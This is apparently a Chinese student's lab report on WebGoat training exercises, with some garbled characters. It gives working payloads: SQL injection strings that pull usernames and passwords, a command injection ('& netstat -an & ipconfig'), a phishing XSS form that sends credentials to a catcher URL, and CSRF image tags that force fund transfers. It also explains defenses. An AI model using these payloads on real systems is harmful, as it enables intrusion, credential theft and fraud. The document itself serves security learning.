这一部分很基础,是简单的sql注入,就是用输入的内容和页面自己的查询语句结合起来生成咱们想要查询的内容,固然页面的安全性必须至关低。
按照题目要求作就能找到须要的信息。
javascript
关于这一部分参考了一些资料:
关于SQL注入,你应该知道的那些事
使用了union语句
Smith union select * from user_system_data where user_name = 'dave'--
html
联合查询TABLE user_system_data
中dave的信息,失败,显示必需要用正确的列数或者多是表项数目的意思。所以要测试来肯定列数究竟是多少,使用了齐帅同窗的方法。Smith' order by 7--
。order by
通常是用于排序,asc是升序,desc是降序。数字的意思是按照某一列的顺序(字母顺序或数字大小)升序排列,因为咱们只能搜索Smith的信息只有第五列是不一样的,因此能够尝试按照第五列排列会发现是有变化的。因此经过这样的办法,能够肯定列数。java
Smith' union select null,null,null,null,null,null,null from user_system_data --
能够查询看来咱们判断的列数是正确的
肯定列数后就能够利用已知的列数来联合查找一下啦
程序员
第一个表项不写null,会出错,就从第二个猜是否是分别是用户名和密码web
Smith' union select null,user_nam,password,null,null,null,null from user_system_data --
成功啦~看看其余的内容能不能猜想一下~
sql
猜想了userid,成功啦~ 是102数据库
须要一个firebug,安装教程:firebug安装后就能够查看网页源码。浏览器
在当前网页下打开firebug
安全
这里咱们要在下拉框的选项中注入一项命令,个人理解是,这条指令是对服务器使用的,
好比:"& netstat -an & ipconfig"
这个注入至关因而为网页设置了一个端点改变网页的一部分来调试运行,刷新以后就会消失失去做用,可是能够经过调试的结果收集服务器的一些信息
服务器
利用永真式达到查询数据库所有内容的目的,这里与上次的实验不一样的是,上一次的输入文本,这一次要更改下拉框中选项的值(value),因此也不须要在后面加注释号。在firebug中更改某个下拉框选项的值为
“xxx or 1=1”
登录欺骗,在用户名文本框中输入
%0d%0aLogin succeeded !20155203
能够显示登录成功,不过我很困惑,这不是本身骗本身吗?其实最终目的不是要让本身看到登陆成功了,而是要在服务器的日志中作假记录,成功~
跟上次实验同样~
stage1:修改网页源代码中password文本框的可输入长度(加长),输入
' or 1=1 --
登录Neville成功。
用Neville查看profile
stage3:
仍是将larry下拉选项的value改成
101 or 1=1
首先是要查看两个相同的网页的cookie是否相同。Cookie,只是一条极为短小的信息,它可以被网站自动地放置在一台电脑的硬盘中,网站是依靠Cookie来辨认咱们的行踪的。  直接清空地址栏输入```javascript:alert(document.cookie);```,在地址栏直接使用javascript函数能够进行不少查询,首先是能够出现提示框,如```javascript:alert(‘hello world’);```
最直接的方法是用来查询该页面上的一些信息,好比查询背景颜色.
javascript:alert(document.body.style.backgroundColor);void(0);
利用javascript重定向: ```javascript:document.location=http://www.baidu.com``` 能够经过void指令来修改cookie;```javascript: void(document.cookie=“PHPSESSID = hacked”); alert(document.cookie);```不过这个可能有些网站作不到。
能够发现两个相同页面的cookie值是相同的。
要在搜索框里添加一个表格的html源码,这个表格的设计基本按照登录界面实现,要有一个欺骗的提示好比This feature requires account login:
提示用户输入用户名密码
代码以下:
<form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR>
用户登录后会直接弹出获取用户名密码的提示,攻击成功
之因此称为反射型XSS,则是由于这种攻击方式的注入代码是从目标服务器经过错误信息、搜索结果等等方式“反射”回来的。而称为非持久型XSS,则是由于这种攻击方式具备一次性。
关于这一部分webgoat作了如下解释:
验证服务器端的全部输入老是一个好习惯。 在HTTP响应中使用未经验证的用户输入时,可能会发生XSS。 在反映(reflected)的XSS攻击中,攻击者能够利用攻击脚本制做一个URL并将其发布到另外一个网站,发送电子邮件或以其余方式让受害者点击它。
这段话的意思是,对于输入的内容不进行验证的网页,咱们能够把本身写一段代码插入到网页源码中,网页会执行这段代码。并且网页会解释这段代码。
好比攻击者将以下连接发送给受害者: http://www.targetserver.com/search.asp?input=
当受害者点击这个连接的时候,注入的脚本被看成搜索的关键词发送到目标服务器的search.asp页面中,则在搜索结果的返回页面中,这段脚本将被看成搜索的关键词而嵌入。这样,当用户获得搜索结果页面后,这段脚本也获得了执行。这就是反射型XSS攻击的原理,能够看到,攻击者巧妙地经过反射型XSS的攻击方式,达到了在受害者的浏览器上执行脚本的目的。因为代码注入的是一个动态产生的页面而不是永久的页面,所以这种攻击方式只在点击连接的时候才产生做用,这也是它被称为非持久型XSS的缘由。
在这个题目中输入
<script>alert("20155203 is trying to attack");</script>
就会出现提示,说明网页已经执行了这一语句。
须要一个firebug,安装教程:firebug安装后就能够查看网页源码。
在MESSAGE中输入一段代码
<img src="http://localhost:8080/WebGoat/attack?Screen=277&menu=900&transferFunds=4000"/>
意思是建立一个连接,输入后会在message list中产生一个消息,victim点开这条消息其帐户会被转走4000。
这一个任务是再上一个任务的基础上再增长一条转帐确认消息
<img src="attack?Screen=267&menu=900&transferFunds=5000" width="1" height="1"> <img src="attack?Screen=267&menu=900&transferFunds=confirm" width="1" height="1">
SQL注入便是指web应用程序对用户输入数据的合法性没有判断,攻击者能够在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,以此来实现欺骗数据库服务器执行非受权的任意查询,从而进一步获得相应的数据信息。个人理解就是,利用程序员写网页时候的漏洞,输入可以构成SQL语句的文本,达到查询想要的信息的目的的攻击。
防护的方法,能够进行输入验证,好比说设定用户名时不能加入特殊符号;进行权限控制,不容许任意用户都能对数据库进行总体访问,好比说员工和老板,老师和学生。
XSS攻击是Web攻击中最多见的攻击方法之一,它是经过对网页注入可执行代码且成功地被浏览器
执行,达到攻击的目的,造成了一次有效XSS攻击,一旦攻击成功,它能够获取用户的联系人列
表,而后向联系人发送虚假诈骗信息,能够删除用户的日志等等,有时候还和其余攻击方式同时实
施好比SQL注入攻击服务器和数据库、Click劫持、相对连接劫持等实施钓鱼,它带来的危害是巨
大的,是web安全的头号大敌。
个人理解是:和sql注入不一样,在XSS攻击中,网站只是攻击者的工具来诱骗被攻击者的平台,经过发帖等形式来构造一些界面达到获得被攻击者重要信息的目的。
防护的方法,一种方法是在表单提交或者url参数传递前,对须要的参数进行过滤;另外一种是过滤用户输入的 检查用户输入的内容中是否有非法内容。如<>(尖括号)、”(引号)、 ‘(单引号)、%(百分比符号)、;(分号)、()(括号)、&(& 符号)、+(加号)等。、严格控制输出
Cross-site request forgery,是一种对网站的恶意利用,CSRF比XSS更具危险性。
1. 用户C打开浏览器,访问受信任网站A,输入用户名和密码请求登陆网站A; 2.在用户信息经过验证后,网站A产生Cookie信息并返回给浏览器,此时用户登陆网站A成功,能够正常发送请求到网站A; 3. 用户未退出网站A以前,在同一浏览器中,打开一个TAB页访问网站B; 4. 网站B接收到用户请求后,返回一些攻击性代码,并发出一个请求要求访问第三方站点A; 5. 浏览器在接收到这些攻击性代码后,根据网站B的请求,在用户不知情的状况下携带Cookie信息,向网站A发出请求。网站A并不知道该请求实际上是由B发起的,因此会根据用户C的Cookie信息以C的权限处理该请求,致使来自网站B的恶意代码被执行。
防护的方法:目前防护 CSRF 攻击主要有三种策略:验证 HTTP Referer 字段;在请求地址中添加 token 并验证;在 HTTP 头中自定义属性并验证。
网页虽然看起来很简单,实际上有好多好多的块,攻击虽然照猫画虎也明白了很多东西,也作了一些新的小尝试,颇有趣。